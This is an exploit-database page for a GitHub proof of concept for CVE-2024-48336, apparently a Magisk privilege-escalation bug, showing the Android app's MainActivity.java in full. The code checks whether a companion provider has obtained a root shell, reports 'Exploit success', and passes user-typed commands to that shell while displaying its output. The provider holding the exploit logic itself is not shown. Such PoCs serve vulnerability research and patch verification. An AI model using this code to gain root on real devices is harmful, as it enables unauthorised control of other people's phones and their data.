Exploit database

GH-451c2bc879591eff597ff26d165ffb1f

canyie/magiskeop

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-48336

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
canyie/magiskeopRevision 14c58fd46dd0

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

app/src/main/java/top/canyie/magiskeop/MainActivity.java

Java · 2,623 bytes
package top.canyie.magiskeop;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.Process;
import android.util.Log;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

import java.io.IOException;

/**
 * @author canyie
 */
public class MainActivity extends Activity {
    private EditText input;
    private TextView output;
    private Button execute;
    @Override protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        Handler handler = new Handler();
        input = findViewById(R.id.cmd);
        output = findViewById(R.id.text);
        execute = findViewById(R.id.execute);
        output.append("- Current UID = " + Process.myUid() + " PID = " + Process.myPid() + "\n");
        output.append("- Go go go!\n");
        output.append("- Testing status...\n");

        if (MyProvider.out != null) {
            long delay = 1; // 5000
            handler.postDelayed(() -> {
                output.append("- Exploit success! Status: OK\n");
                output.append("- Received root shell!\n");
                Thread readThread = new Thread(() -> {
                    String line;
                    try {
                        while ((line = MyProvider.in.readLine()) != null) {
                            String finalLine = line;
                            handler.post(() -> output.append(finalLine + "\n"));
                        }
                    } catch (IOException e) {
                        handler.post(() -> {
                            output.append("! Error reading shell reply\n");
                            output.append(Log.getStackTraceString(e));
                            execute.setEnabled(false);
                        });
                    }
                });
                readThread.start();
                execute.setOnClickListener(v -> {
                    String command = input.getText().toString();
                    input.setText("");
                    try {
                        MyProvider.out.write(command + "\n");
                        MyProvider.out.flush();
                    } catch (IOException e) {
                        output.append("! Error writing command to shell\n");
                        output.append(Log.getStackTraceString(e));
                    }
                });
            }, delay);
        } else {
            output.append("- Exploit failed... Status: FAILED");
            execute.setEnabled(false);
        }
    }
}